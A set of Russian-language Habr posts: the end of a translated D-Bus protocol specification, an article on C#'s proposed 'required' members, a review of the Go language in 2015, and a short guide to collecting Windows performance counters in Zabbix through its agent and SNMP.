| | | | | |
| --- | --- | --- | --- | --- |
| **Условное обозначение** | **Десятичный код** | **Тип** | **Где требуется** | **Описание** |
| INVALID | 0 | N/A | не допускается | Недействительное имя поля (ошибка, если оно появляется в сообщении) |
| PATH | 1 | OBJECT\_PATH | METHOD\_CALL, SIGNAL | Объект, которому отправляется вызов или объект, из которого исходит сигнал. Зарезервирован специальный путь /org/ freedesktop/DBus/Local; реализации не должны отправлять сообщения с этим путем, а эталонная реализация демона шины отключит любое приложение, которое пытается это сделать. Это поле заголовка контролируется отправителем сообщения. |
| INTERFACE | 2 | STRING | SIGNAL | Интерфейс, выполняющий вызов метода или из которого исходит сигнал. Необязательный для вызовов методов, требуется для сигналов. Зарезервирован специальный интерфейс org.freedesktop.DBus.Local; реализации не должны отправлять сообщения с этим интерфейсом, а эталонная реализация демона шины отключит любое приложение, которое пытается это сделать. Это поле заголовка контролируется отправителем сообщения. |
| MEMBER | 3 | STRING | METHOD\_CALL, SIGNAL | Член, либо имя метода, либо имя сигнала. Это поле заголовка контролируется отправителем сообщения. |
| ERROR\_NAME | 4 | STRING | ERROR | Название возникшей ошибки, для ошибок |
| REPLY\_SERIAL | 5 | UINT32 | ERROR, METHOD\_RETURN | Порядковый номер сообщения, на которое это сообщение является ответом. (Порядковый номер является вторым UINT32 в заголовке.) Это поле заголовка контролируется отправителем сообщения. |
| DESTINATION | 6 | STRING | необязательный | Имя соединения, для которого предназначено это сообщение. Это поле обычно имеет смысл только в сочетании с шиной сообщений (см. Раздел «Спецификация шины сообщений»), но другие серверы могут определять для него свои собственные значения. Это поле заголовка контролируется отправителем сообщения. |
| SENDER | 7 | STRING | необязательный | Уникальное имя отправляющего соединения. Это поле обычно имеет значение только в сочетании с шиной сообщений, но другие серверы могут определять для него свои собственные значения. На шине сообщений это поле заголовка контролируется шиной сообщений, поэтому оно так же надежно и заслуживает доверия, как и сама шина сообщений. В противном случае это поле заголовка контролируется отправителем сообщения, если нет дополнительной информации, указывающей на иное. |
| SIGNATURE | 8 | SIGNATURE | необязательный | Сигнатура тела сообщения. Если опущено, предполагается, что это пустая подпись "" (т.е. длина тела должна быть 0). Это поле заголовка контролируется отправителем сообщения. |
| UNIX\_FDS | 9 | UINT32 | необязательный | Количество файловых дескрипторов Unix, сопровождающих сообщение. Если он опущен, предполагается, что сообщение не сопровождается дескрипторами файлов Unix. Фактические файловые дескрипторы необходимо передавать по дополнительному механизму, зависящему от платформы. Они должны быть отправлены одновременно с самим сообщением. Они не могут быть отправлены до передачи первого байта самого сообщения или после последнего байта самого сообщения. Это поле заголовка контролируется отправителем сообщения. |
### Допустимые имена
Разнообразие имен в сообщениях D‑Bus имеет некоторые ограничения.
Для шинных имен, интерфейсов и членов установлена максимальная длина имени 255.
#### Имена интерфейсов
Интерфейсы имеют имена с типом STRING, что означает, что они должны соответствовать UTF‑8. Однако есть также некоторые дополнительные ограничения, которые относятся конкретно к именам интерфейсов:
* Имена интерфейсов состоят из 2 или более элементов, разделенных точкой ('.'). Все элементы должны содержать хотя бы один символ.
* Каждый элемент должен содержать только символы ASCII «[A‑Z] [a‑z] [0‑9] \_» и не должен начинаться с цифры.
* Имена интерфейсов не должны превышать максимальную длину имени.
Имена интерфейсов должны начинаться с перевернутого имени домена DNS автора интерфейса (в нижнем регистре), подобно именам интерфейсов в Java. Обычно, остальная часть имени интерфейса состоит из слов, идущих подряд, с начальными заглавными буквами во всех словах («Верблюжий регистр»). Можно использовать несколько уровней иерархии. Также неплохо включить в имя основную версию интерфейса и увеличить ее, если внесены несовместимые изменения; таким образом, один объект может при необходимости реализовать несколько версий интерфейса параллельно.
Например, если владелец example.com разрабатывает D‑Bus API для музыкального проигрывателя, он может определить интерфейсы с именами com.example.MusicPlayer1, com.example.MusicPlayer1.Track и com.example.MusicPlayer1.Seekable.
Если имя домена DNS автора содержит символы дефиса/минуса ('-'), которые не разрешены в именах интерфейсов D‑Bus, их следует заменить подчеркиванием. Если имя домена DNS содержит цифру, следующую сразу за точкой ('.'), (что также недопустимо в именах интерфейсов), в имени интерфейса перед этой цифрой должен быть добавлен символ подчеркивания. Например, если владелец 7‑zip.org определил интерфейс для плагинов вне процесса, он может называться *org.\_7\_zip.Plugin*.
D-Bus не делает различий между концепциями, которые в Java назывались бы классами и интерфейсами: любой из них можно идентифицировать на D‑Bus по имени интерфейса.
#### Шинные имена
Соединения имеют одно или несколько шинных имен, связанных с ними. У соединения есть ровно одно шинное имя, которое является уникальным именем соединения. Уникальное имя соединения остается у соединения в течение всего его срока жизни. Шинное имя имеет тип STRING, что означает, что оно должно быть допустимым UTF‑8. Однако есть также некоторые дополнительные ограничения, которые применяются конкретно к шинным именам:
* Шинные имена, начинающиеся с символа двоеточия (':'), являются уникальными именами соединений. Другие шинные имена называются общеизвестными шинными именами.
* Шинные имена состоят из 1 или более элементов, разделенных точкой ('.'). Все элементы должны содержать хотя бы один символ.
* Каждый элемент должен содержать только символы ASCII «[A‑Z] [a‑z] [0-9] -», при этом «-» не рекомендуется использовать в новых шинных именах. Только элементы, которые являются частью уникального имени соединения, могут начинаться с цифры, элементы в других шинных именах не должны начинаться с цифры.
* В шинном имени должен быть хотя бы один символ «.» (точка) (и, следовательно, как минимум два элемента).
* Шинные имена не должны начинаться с символа «.» (точка).
* Длина шинного имени не должна превышать максимальную длину.
Обратите внимание, что символ дефиса ('-') разрешен в шинных именах, но не в именах интерфейсов. Это также проблематично или не разрешено в различных спецификациях и API‑интерфейсах, которые относятся к D‑Bus, таких как идентификаторы приложений Flatpak, интерфейс DBusActivatable в спецификации Desktop Entry, а также соглашение о том, что «основной» интерфейс приложения и путь к объекту похожи на его шинное имя. Чтобы избежать ситуаций, требующих специальной обработки, рекомендуется, чтобы в новых именах D‑Bus неуклонно заменяли дефис на подчеркивание.
Как и имена интерфейсов, общеизвестные шинные имена должны начинаться с перевернутого имени домена DNS автора интерфейса (в нижнем регистре), и обычно остальная часть общеизвестного шинного имени состоит из слов, соединенных вместе, с начальными заглавными буквами. Как и в случае с именами интерфейсов, неплохо было бы включить номер версии в общеизвестные шинные имена; возможно иметь общеизвестные шинные имена для нескольких версий одновременно, если требуется обратная совместимость.
Как и в случае с именами интерфейсов, если имя домена DNS автора содержит символы дефиса/минуса, они должны быть заменены знаками подчеркивания, а если оно содержит ведущие цифры, их следует экранировать, добавив знак подчеркивания. Например, если владелец 7-zip.org использовал имя D‑Bus для приложения архивации, оно могло бы называться *org.\_7\_zip.Archiver*.
Если общеизвестное имя шины подразумевает наличие «основного» интерфейса, этому «главному» интерфейсу часто дается то же имя, что и общеизвестное шинное имя, и оно располагается в соответствующем объектном пути. Например, если владелец example.com разрабатывает API D-Bus для музыкального проигрывателя, он может установить, что любое приложение, которое получает хорошо известное имя com.example.MusicPlayer1 , в реализации интерфейса com.example.MusicPlayer1 должно иметь объект, с объектный путём /com/example/MusicPlayer1 .
#### Имена членов
Имена членов (то есть методов или сигналов):
* Должны содержать только символы ASCII «[A-Z] [a-z] [0-9] \_» и не могут начинаться с цифры.
* Не должны содержать символ "." (точка).
* Длина не должна превышать максимальную длину имени.
* Длина должна быть не менее 1 байта.
Обычно имена членов на D‑Bus состоят из прописных слов без знаков препинания («верблюжий регистр»). Имена методов обычно должны быть глаголами, такими как GetItems , а имена сигналов обычно должны быть описанием события, например ItemsChanged .
#### Имена ошибок
Имена ошибок имеют те же ограничения, что и имена интерфейсов и часто содержат .Error.; например, владелец example.com может определить errorcom.example.MusicPlayer1.Error.FileNotFound и com.example.MusicPlayer1.Error.OutOfMemory . Ошибки, определенные в самом D‑Bus, такие как org.freedesktop.DBus.Error.Failed , следуют аналогичному шаблону.
### Типы сообщений
Каждый из типов сообщений (METHOD\_CALL*,* METHOD*\_*RETURN, ERROR и SIGNAL) ожидаемо имеет свои собственные соглашения об использовании и поля заголовка. В этом разделе описаны эти соглашения.
#### Вызов методов
Некоторые сообщения вызывают операцию на удаленном объекте. Они называются сообщениями о вызове методов и имеют тег типа METHO\_DCALL. Такие сообщения естественно отображаются в обычной программе в методы объектов.
Сообщение о вызове метода должно иметь поле заголовка MEMBER, указывающее имя метода. Опционально, сообщение может иметь поле INTERFACE, в котором указывается интерфейс, частью которого является метод. Настоятельно рекомендуется включать INTERFACE во все сообщения о вызове методов.
В отсутствие поля INTERFACE, если два или более интерфейса одного и того же объекта имеют методы с одинаковыми именами, то не определено, какой из этих методов будет вызван. Реализации могут выбрать либо возврат ошибки, либо доставить сообщение одному, произвольно выбранному из этих интерфейсов.
В некоторых ситуациях (например, в общеизвестной системной шине) сообщения фильтруются через список управления доступом, внешний по отношению к реализации удаленного объекта. Если этот фильтр отклоняет определенные сообщения путем сопоставления их интерфейса или принимает только сообщения для определенных интерфейсов, он также должен отклонять сообщения, у которых нет INTERFACE: в противном случае вредоносные приложения могли бы использовать это для обхода фильтра.
Сообщения о вызове метода также включают поле PATH, указывающее объект, для которого нужно вызвать метод. Если вызов проходит через шину сообщений, в сообщении также будет поле DESTINATION, в котором будет указано имя соединения для получения сообщения.
Когда приложение обрабатывает сообщение о вызове метода, оно должно вернуть ответ. Ответ идентифицируется полем заголовка REPLY\_SERIAL*,* указывающим серийный номерMETHOD*\_*CALL, на который осуществляется ответ. Ответ может быть одного из двух типов; либоMETHOD\_RETURN, либо ERROR.
Если ответ имеет тип METHOD\_RETURN, аргументами ответного сообщения являются возвращаемое значение (значения) или «выходные параметры» вызова метода. Если ответ имеет тип ERROR, то возникло «исключение» и вызов завершился неудачно; возвращаемого значения не будет. Нет смысла отправлять несколько ответов на один и тот же вызов метода.
Даже если вызов метода не имеет возвращаемых значений, требуется ответ METHOD\_RETURN, по которому вызывающий будет знать, что метод был успешно обработан.
Ответное сообщение METHOD\_RETURNилиERROR должно иметь поле заголовка REPLY\_SERIAL.
Если сообщение METHOD\_CALLимеет флагNO*\_*REPLY\_EXPECTED, то приложение, получающее метод, не должно отправлять ответное сообщение (независимо от того, был ли ответомMETHOD\_RETURN или ERROR).
Если у сообщения нет флага NO\_AUTO\_START, если имя пункта назначения не существует, то программа, владеющая именем пункта назначения, будет запущена (активирована) до того, как сообщение будет доставлено. См. Раздел «Сервисы запуска шины сообщений (активация)» . Сообщение будет удерживаться до тех пор, пока новая программа не будет успешно запущена или потерпит неудачу при старте; в случае неудачи будет возвращена ошибка. Этот флаг уместен только в контексте шины сообщений, он игнорируется при соединении точка-точка без промежуточной шины.
#### Отображение вызовов методов на API
в сообщение D-Bus.API для D‑Bus могут отображать вызовы метода в вызов метода на определенном языке программирования, таком как C++, или могут отображать вызов метода, описанного на IDL.
В API такого рода аргументы метода часто называются «in» («входящими») (что подразумевает отправку в METHOD\_CALL) или «out» («исходящие», что подразумевает возвращение с METHOD\_RETURN). Некоторые API, такие как CORBA, также имеют аргументы «inout», которые отправляются и принимаются, т.е. вызывающий объект передает значение, которое изменяется. В D-Bus аргумент «inout» эквивалентен аргументу «in», за которым следует аргумент «out». Вы не можете передавать по сети вещи «по ссылке», поэтому «inout» - это просто иллюзия внутрипроцессного API.
Для метода с нолём или одним возвращаемым значением, за которым следуют ноль или более аргументов, где каждый аргумент может быть «in», «out» или «inout», вызывающая сторона создает сообщение, добавляя по порядку каждое «in» или «inout». Аргументы "out" не фигурируют в сообщении вызывающего абонента.
Получатель создает ответ, добавляя сначала возвращаемое значение, если оно есть, а затем по порядку каждый аргумент «out» или «inout» . Аргументы "in" не представлены в ответном сообщении.
Обычно, ответы об ошибках в языках отображаются в исключения, если они там есть.
При преобразовании собственных API-интерфейсов в D‑Bus, возможно, было бы неплохо автоматически отображать соглашения об именах D‑Bus («FooBar») на собственные соглашения, такие как «fooBar» или «foobar». Это нормально, если вы можете сказать, что собственный API был специально написан для D‑Bus. Это имеет наибольшее значение при написании реализаций объектов, которые будут экспортироваться по шине. Прокси‑серверы объектов, используемые для вызова удаленных объектов D‑Bus, вероятно, нуждаются в возможности вызывать любой метод D‑Bus, и, следовательно, подобное волшебное отображение имен может быть проблемой.
Эта спецификация не требует никаких привязок собственного API; приведенное выше является лишь предложенным соглашением для согласованности привязок.
#### Излучение сигнала
В отличие от вызовов методов, на излучение сигналов нет ответов. Излучение сигнала - это просто одно сообщение типа SIGNAL. Оно должно иметь три поля заголовка: PATH, указывающий на объект, из которого был испущен сигнал, плюс INTERFACE и MEMBER, указывающие полное имя сигнала. Заголовок INTERFACE необходим для сигналов, но не является обязательным для вызовов методов.
#### Ошибки
*С*ообщения типа ERROR чаще всего являются ответами на METHOD\_CALL, но могут быть возвращены в ответ на любое сообщение. Шина сообщений, например, вернет ERROR в ответ на передачу сигнала, если у шины недостаточно памяти для отправки сигнала.
ERROR может иметь любые аргументы, но если первый аргумент - STRING, это должно быть сообщение об ошибке. Сообщение об ошибке может быть записано в журнал или каким-либо образом показано пользователю.
#### Нотация в этом документе
В этом документе используется простой псевдо-IDL для описания вызовов и сигналов конкретных методов. Вот пример вызова метода:
```
org.freedesktop.DBus.StartServiceByName (in STRING name,
in UINT32 flags,
out UINT32 resultcode)
```
Это означает, что INTERFACE = org.freedesktop.DBus , MEMBER = StartServiceByName, аргументы METHOD\_CALL - STRING и UINT32*,* аргумент METHODRETURN - UINT32. Помните, что поле MEMBER не может содержать "." (точка), поэтому понятно, что последняя часть имени в «IDL» является именем члена.
В C ++ это может выглядеть так:
```
unsigned int org::freedesktop::DBus::StartServiceByName (
const char *name,
unsigned int flags);
```
или в равной степени реализуемый вариант где возвращаемое значение может быть сделано аргументом:
```
void org::freedesktop::DBus::StartServiceByName (const char *name,
unsigned int flags,
unsigned int *resultcode);
```
Каким будет внешний вид в действительности, зависит от разработчика API. Вы можете разработать API не используя пространство имен C++, применяя STL или Qt, varargs или что-то другое.
Сигналы записываются следующим образом:
```
org.freedesktop.DBus.NameLost (STRING name)
```
В сигналах не указывается «in » или «out », потому что возможно только одно направление.
Не особо рекомендуется использовать этот убогий псевдо-IDL в существующих реализациях API; вы можете применять собственную нотацию для используемого вами языка или, например, использовать COM или CORBA IDL.
### Недопустимые расширения протокола и спецификации
По соображениям безопасности протокол D‑Bus следует строго анализировать и проверять, за исключением определенных точек расширения. Любые недопустимые нарушения протокола или спецификации должны привести к немедленному разрыву соединения без уведомления на другом конце. Следует внимательно рассмотреть исключения, например, может потребоваться исключение из-за хорошо изученной идиосинкразии общеизвестной реализации. В случаях, когда другой конец соединения является 100% доверенным и заведомо дружественным, пропуск проверки по причинам производительности также может иметь смысл в некоторых случаях.
Вообще говоря, нарушения требований "должен" в этой спецификации следует рассматривать как возможные попытки использования системы безопасности, а нарушения предложений "следует" следует рассматривать как законные (хотя, возможно, они должны вызывать ошибку в некоторых случаях).
Следующие точки расширения специально встроены в D‑Bus и не должны рассматриваться как недопустимый протокол. Точки расширения предназначены для использования в будущих версиях этой спецификации, они не предназначены для третьих лиц. На данный момент единственный способ, которым третья сторона может расширить D‑Bus, не нарушая взаимодействия, - это ввести способ согласования поддержки новых функций как части протокола аутентификации с использованием команд с префиксом EXTENSION. Стандартного способа согласования функций пока нет.
* В протоколе аутентификации (см. Раздел «Протокол аутентификации») неизвестные команды приводят к ERROR, а не к разъединению. Это позволяет в будущем расширять протокол. Команды, начинающиеся с EXTENSION, зарезервированы для третьих лиц.
* Протокол аутентификации поддерживает подключаемые механизмы аутентификации.
* Формат адреса (см. Раздел «Адреса серверов») поддерживает новые виды транспорта.
* Сообщения с неизвестным типом (что-то кроме METHOD\_CALL*,* METHOD*\_*RETURN, ERROR, SIGNAL) игнорируются. Сообщения неизвестного типа должны быть тем не менее правильно сформированы так же, как и известные сообщения. У них должны быть нормальные заголовок и тело.
* Поля заголовка с неизвестным или неожиданным кодом поля должны быть проигнорированы, хотя, опять же, они должны быть правильно сформированы.
* Конечно, могут быть добавлены новые стандартные интерфейсы (с новыми методами и сигналами).
[Продолжение и финальный перевод в виде одного pdf-файла.](https://habr.com/ru/post/543840/) | https://habr.com/ru/post/540170/ | null | ru | null |
# C#: required
Некоторые разработчики предпочитают объектную инициализацию использованию конструкторов. Кто-то негодует из-за вынужденного "перекладывания" аргументов из одного конструктора в другой при наследовании. Кому-то конструкторы не нравятся просто как таковые. Но возможна ли жизнь без конструкторов?
 лЕсли на скриншоте слева копипаст вам еще не кажется адским, представьте что аргументов у базового конструктора больше и MyClassChild тоже есть наследники, которые вынуждено наследуют родительский копипаст.
Object initialization
---------------------
Простое решение здесь это банально не копипастить, отказаться от конструкторов, сделать сервисы паблик и создавать экземпляры через объектную инициализацию(в фигурных скобочках). Очевидной проблемой такого подхода является потеря каких-либо гарантий того, что мы точно проинициализировали все, что нужно. NullReference будет поджидать вас на каждой инициализации, ведь полное покрытие тестами обычно кажется слишком большой ценой.
Также становится сомнительно использование init в купе с nullable reference types. Дело в том, что мы теряем гарантии того, что init св-во не null:
Record
------
Records, представленные в C# 9 частично спасают ситуацию, но перекладывать аргументы все еще надо, плюс, не всегда хочется терять мутабельность:
Object initialization + Required
--------------------------------
Нам поможет, **на текущий момент proposed**, фича - *Required Members*. Члены, обязательные для инициализации помечаются новым ключевым словом required, что дает возможность компилятору проверять, факт инициализации:
`error CS9506: Required member 'MyClassNew.Service1' must be set in the object initializer or attribute constructor.`
Модификатор допустим для полей и св-в классов, структур и рекордов. "Под капотом", члены типа с `required`а также и сам тип помечаются атрибутом `[RequiredMember]`. Как не сложно догадаться, есть вагон и маленькая тележка кейсов, в которых новый модификатор конфликтует с уже существующими. Из того, что на поверхности - такое поле нельзя делать недоступным для присвоения извне().
При этом конструкторы, не гарантирующие инициализацию всех `required` членов типа, принудительно("под капотом") помечаются как нежелательные для использования. В том числе и конструктор по умолчанию:
### Заключение
Как и прочие языковые фичи, `required` должен применяться там, где он упрощает, а не усложняет жизнь, это не "золотая пуля". Лично я немного устал от бесполезных реализаций конструкторов, очень жду момента, когда их можно будет выпилить.
[Спецификация.](https://github.com/dotnet/csharplang/blob/main/proposals/required-members.md) [Обсуждение на GitHub.](https://github.com/dotnet/csharplang/issues/3630) | https://habr.com/ru/post/678320/ | null | ru | null |
# Go в 2015 году
Уходящий 2015-й год выдался достаточно насыщенным для языка программирования Go и его сообщества. Всё больше людей открывают для себя мощь, скрывающуюся за простотой языка, сообщество растёт, развивается и играет всё более значимую роль в настоящем и будущем Go. Этот — шестой по счёту год существования языка — ознаменовался несколькими важными изменениями внутренностей языка, фантастическим улучшением сборщика мусора, первым шагом к стандартизации работы с зависимостями и многими другими событиями.
Давайте пройдемся вкратце по важным событиями 2015-го года в мире Go.

Начать, пожалуй, стоит с благодарностей аудитории Хабрахабра, которая своими бурными и не очень дискуссиями, создаёт особый интерес к языку Go. Количество плюсов и минусов, которые получают статьи и переводы про Go, явно показывает, как неравнодушны читатели к успеху языка. Конструктивную критику Go вы всегда можете послушать в русскоязычном подкасте [Golangshow](http://golangshow.com/), а неконструктивная критика, которая зачастую возникает в комментариях и вызывает бурные дискуссии, заставляет всё больше и больше людей выяснить, кто же прав собственноручно.
Так или иначе, 2015-й год отметился тем, что об активном использовании Go скромно и мимоходом заявили такие компании, как [SpaceX](http://blog.not-a-kernel-guy.com/2015/10/16/1738), [Dropbox](https://www.reddit.com/r/golang/comments/3g7tyv/dropboxs_infrastructure_is_go_at_a_huge_scale/), [Basecamp](https://signalvnoise.com/posts/3897-go-at-basecamp), [MongoDB](https://www.youtube.com/watch?v=Ck1bRyYxJCQ), [ВКонтакте](http://habrahabr.ru/post/265731/), [Baidu](https://twitter.com/jbuberel/status/617776229437980673?s=09) и многие другие.

Основными нишами Go по прежнему остаются серверные системы и инфраструктуры — весь спектр, от маленьких микросервисов до экзабайтных распределённых систем хранения данных. REST/Web-бекенды, всевозможные прокси, базы данных, планировщики контейнеров и прочий серверный софт — это те сферы, для которых Go и создавался.
В этом году Go также показал, что на нём можно писать «опердень» (привет, [Антон](https://www.youtube.com/watch?v=cGXorQkw3JE)!)) — компания Mondo [создаёт](https://www.youtube.com/watch?v=cFJkLfujOts) электронный банк на Go. Также важный прорыв в этом году был в развитии gomobile — в AppStore появилось [первое приложение](https://itunes.apple.com/us/app/ivy-big-number-calculator/id1012116478?mt=8) на Go, а для Android некоторые компании [уже давно используют](http://habrahabr.ru/post/260609/) Go с выгодой для себя.
С десктопным софтом на Go в этом году не сложилось: UI-библиотеку [gxui](https://github.com/google/gxui) забросили, и новых серьезных альтернатив вроде как и нет. Полагаю, что это связано с медленным, но верным отмиранием ценности десктопного софта как класса.
Чтобы дать читателю большее понимание областей Go, приведу вот такую диаграмму, составленную по субьективному пониманию применимости и реального использования Go:

Ну а теперь предлагаю вкратце пройтись по основным событиям Go уходящего года. И, чтобы не гадать, какие же события или материалы были за этот год, попросим Go сделать это за нас и выбрать топ постов из [сабреддита](https://www.reddit.com/r/golang) golang:

**Код с картинки**
```
package main
import (
"fmt"
"github.com/jzelinskie/geddit"
"time"
)
func main() {
session := geddit.NewSession("")
opts := geddit.ListingOptions{
Time: geddit.ThisYear,
}
posts, err := session.SubredditSubmissions("golang", geddit.TopSubmissions, opts)
if err != nil {
fmt.Println("Failed to get posts:", err)
}
for _, post := range posts {
date := time.Unix(int64(post.DateCreated), 0)
fmt.Printf("%s: %s\n", date.Format("02 Jan 2006"), post.Title)
}
}
```
Результатом будет следующий список:
* **19 Aug 2015**: [Go 1.5 is released](https://blog.golang.org/go1.5)
Анонс релиза 1.5, в котором компилятор и рантайм Go был переписан с С на Go, что позволяет авторам более смело продвигаться вперёд в своих планах по улучшению сборщика мусора и рантайма Go в целом. Небольшим шагом назад стало замедление времени компиляции примерно в полтора раза. Теперь вместо 2 секунд нужно ждать 3, и это немного напрягает. Но новый сборщик мусора в Go 1.5 теперь имеет предсказуемые паузы, которые в 99% случаев не превышают 10мс.
* **24 Feb 2015**: [The Go compilers are now written in Go](https://go-review.googlesource.com/#/c/5652/)
Собственно, анонс вышеописанных изменений за пол-года до выхода Go 1.5
* **05 Mar 2015**: [The Go Programming Language by Brian W. Kernighan, Alan Donovan](http://www.amazon.com/Programming-Language-Addison-Wesley-Professional-Computing/dp/0134190440/)
Анонс книги Брайана Кернигана и Алана Донована, которая обещает стать почти такой же культовой, как книга Кернигана по C. Книга была издана в конце октября, и многие уже её получили и прочли!
* **12 Jul 2015**: [Ivy — First Android App in 100% Golang on Google Play (written by the Go Team)](https://play.google.com/store/apps/details?id=org.golang.ivy)
Первое приложение на Go + GoMobile в AppStore.
* **13 Aug 2015**: [Go 1.6 GC improvements plan](https://docs.google.com/document/d/1kBx98ulj5V5M9Zdeamy7v6ofZXX3yPziAf0V27A64Mo/edit)
Детальный документ с планируемыми изменениями сборщика мусора в Go 1.6. Поскольку язык не меняется, то основная работа и силы брошены на улучшение инструментария, компилятора, и рантайма. Этот документ для тех, кто интересуется внутренностями Go.
* **08 Aug 2015**: [Dropbox's infrastructure is Go at a huge scale](https://twitter.com/jamwt/status/629727590782099456)
Скромный твит инженера Dropbox, признающегося в том, что в Dropbox не только кухня получила Мишленовскую звезду, но и что их распределенная система хранения данных, которая обрабатывает экзабайты данных и гоняет их по терабитным каналам, полностью написана на Go.
* **30 Jun 2015**: [Go 1.5 will be able to build iOS apps.](https://twitter.com/rakyll/status/615920271019503616)
Ещё один анонс возможностей GoMobile в предверии релиза Go 1.5.
* **14 Dec 2015**: [How to complain about Go](https://medium.com/@divan/how-to-complain-about-go-349013e06d24#.v6ub3y3nq)
А это моя статья на английском языке в стиле сатиры, высмеивающая разработчиков, критикующих Go за то, что тот не похож на их любимый язык. На Хабр перевод не делал, потому что сатиру тут вряд ли оценят.
* **29 May 2015**: [rsc on why go does not have generics: it's technical, not political](https://news.ycombinator.com/item?id=9622417)
Спокойный и внятный ответ Расса Кокса — одного из авторов Go о том, что отсутствие дженериков в Go — это не политическое, а техническое решение. Авторы не видят красивого решения, которое даст пользователям возможность совать дженерики по поводу и без повода и не превратит язык в унылое Г.
* **10 Nov 2015**: [Six years of Go — The Go Blog](https://blog.golang.org/6years)
6-й день рождения Go!
* **10 Jun 2015**: [[Parse.com] How We Moved Our API From Ruby to Go and Saved Our Sanity](http://blog.parse.com/learn/how-we-moved-our-api-from-ruby-to-go-and-saved-our-sanity/)
Блог компании Parse, описывающий их переезд с Ruby на Go.
* **15 Dec 2015**: [Git Appraise, written by Google in Go, distributed code review](https://github.com/google/git-appraise)
Анонс проекта от Google — распределённая система code review, написанная на Go.
* **14 Nov 2015**: [For Better or For Worse](http://jmoiron.net/blog/for-better-or-for-worse/)
Отличная статья об оценке приоритетов подходов в языках. Перевод был [тут](http://habrahabr.ru/post/270981/) на Хабре.
* **08 Oct 2015**: [gologin: Login handlers for Google, Github, Facebook, Twitter, SMS, OAuth1/2, etc.](https://github.com/dghubble/gologin)
Анонс пакета для работы с основными OAuth-провайдерами.
* **15 Feb 2015**: [The State of Go](https://talks.golang.org/2015/state-of-go.slide#1)
Статья из официального блога Go о текущем состоянии дел в Go (на момент февраля 2015)
* **08 Apr 2015**: [Stack Overflow developer survey: Go is in the top five most loved languages](http://stackoverflow.com/research/developer-survey-2015#tech-super)
Go в топе самых обожаемых языков программирования. Бесполезный критерий, конечно, но всё-равно мимими.
* **20 Aug 2015**: [Billions of request per day meet Go 1.5](https://medium.com/@robin.verlangen/billions-of-request-per-day-meet-go-1-5-362bfefa0911)
Статья о том, как компания, чей софт на Go обрабатывает миллиарды запросов в день, перешла на Go 1.5 и колоссально уменьшила паузы GC и общее время отклика. [Перевод на хабре.](http://habrahabr.ru/post/265183/)
В этот топ много чего не попало, поэтому вкратце из того, что вспоминается: была написана [реализация HTTP2](https://github.com/golang/net/tree/master/http2), которая будет в стандартной библиотеке в Go 1.6 (да, сервера на Go 1.6 будут поддерживать HTTP2 из коробки), ребята из JetBrains провели (и продолжают проводить) колоссальную работу по развитию [плагина для Go](https://github.com/go-lang-plugin-org/go-lang-idea-plugin) для IntelliJ IDEA, равно как и Fatih Arsian, автор плагина [vim-go](https://github.com/fatih/vim-go), который теперь отлично работает с NeoVim. Также [появилась](http://blog.ralch.com/tutorial/golang-sharing-libraries/) (не особо нужная) поддержка shared libraries.
Важным этапом можно назвать первый шаг в стандартизации решения для управления зависимостями в Go. Подход монорепозитория в Google не очень хорошо работает с «классической» схемой, где все зависимости нужно вендорить под проект, и в Go 1.5 появилась [экспериментальная поддержка специального соглашения](https://docs.google.com/document/d/1Bz5-UB7g2uPBdOx-rw5t9MxJwkfpx90cqG9AFL0JAYo/edit) брать зависимости из папки vendor/, если таковая есть в проекте. В Go 1.6 это поведение не будет больше экспериментальным, но всё ещё опциональным, и в Go 1.7 планируется быть уже по-умолчанию. В тоже время, сообществу ещё предстоит прийти к консенсусу как лучше автоматизировать работу с зависимостями, так так есть несколько решений.
Говоря о прошедших событиях, нельзя обойти стороной [конференции](https://github.com/golang/go/wiki/Conferences) по Go. В этом году прошло 13 (!) конференций разного масштаба, и в следующем году планируется ещё больше. Из новых — это конференции в Китае, Индии и Дубаи! Основными же конференциями остаются международная [GopherCon](http://gophercon.com/), которая традиционно проходит в Денвере, и европейская [dotGo](http://dotgo.eu/) в Париже.
Также в этом году был запущен уже упомянутый выше русскоязычный еженедельный подкаст по Go — [Golangshow](https://golangshow.com). В подкасте ведущие не только обсуждают свежие новости из мира Go, но и приглашают интересных гостей. Уже записано 35 выпусков, так что смело подписывайтесь в [iTunes](https://itunes.apple.com/ru/podcast/podkast-golangshow/id1031101295?l=en&mt=2) или на сайте — <https://golangshow.com>.

Ну а в следующем, 2016-м году, нас ждёт Go 1.6 и Go 1.7, ещё больше интересных проектов и продуктов на Go, новых компаний и вакансий.
С Новым Годом и счастливого кодинга! | https://habr.com/ru/post/274057/ | null | ru | null |
# Присматриваем за окнами. Windows + Zabbix
#### Введение
В системе Zabbix есть возможность привязать шаблон к серверам и компьютерам на базе Windows. Называется Template OS Windows.
В один прекрасный момент я понял: а неплохо бы еще туда прикрутить кучу счетчиков
#### Практика «Агента»
Если у Вас установлен Zabbix агент, то общаться мы будем с ОС через него.
При просмотра шаблона Template OS Windows обращаем внимание на элемент данных:
`Average disk write queue length perf_counter[\234(_Total)\1404].`
Что же означают эти цифры **\234(\_Total)\1404.** ?
В ОС Windows эти цифры обозначают внутренние идентификаторы счетчиков производительности. Но если у Вас установленна база Zabbix с кодировкой UTF8, то ничего не мешает нам использовать русские названия в счетчиках
Получаем счетчики следующим образом:
`typeperf -q`
А если у нас несколько жестких дисков (интерфейсов и т.п.):
`typeperf -qx`
Слишком много информации? Фильтруем:
`typeperf "\Физический диск(_Total)\"`
Другой вариант получить счетчики:
`lodctr /s:perfcount.txt`
Открыв файл мы увидем идентификаторы и их название в начале на английском, а затем на русском языке.
#### Практика SNMP
Но что делать, когда нельзя (или нет желания) установить агент?
Для этого, мы будем читать счетчики через SNMP:
`snmpwalk -Of -c public -v 2c 192.168.0.1`
Если выполнять под ОС Windows, то результат будет вида:
***.iso.3.6.1.2.1.1.1.0** = STRING: «Hardware: Intel64 Family 6 Model 44 Stepping 2 AT/AT COMPATIBLE — Software: Windows Version 6.1 (Build 7601 Multiprocessor Free)»*
Если выполнять под ОС Linux, то результат будет вида:
***.iso.org.dod.internet.mgmt.mib-2.system.sysDescr.0** = STRING: Hardware: Intel64 Family 6 Model 44 Stepping 2 AT/AT COMPATIBLE — Software: Windows Version 6.1 (Build 7601 Multiprocessor Free)*
(Также можно поискать соответствие цифр с названиями на <http://support.ipmonitor.com/snmp_center.aspx>)
Linux вариант более информативный.
#### Заключение
Осталось подключить необходмые счетки и можно будет следить за производительностью системы.
Примеры шаблонов:
Agent Windows: <http://yadi.sk/d/emnLSQlv1VPxj> (Производительность дисковой системы)
SNMP Windows: <http://yadi.sk/d/aHcKTrJm1VPyJ> (Мониторим сетевой интефейс)
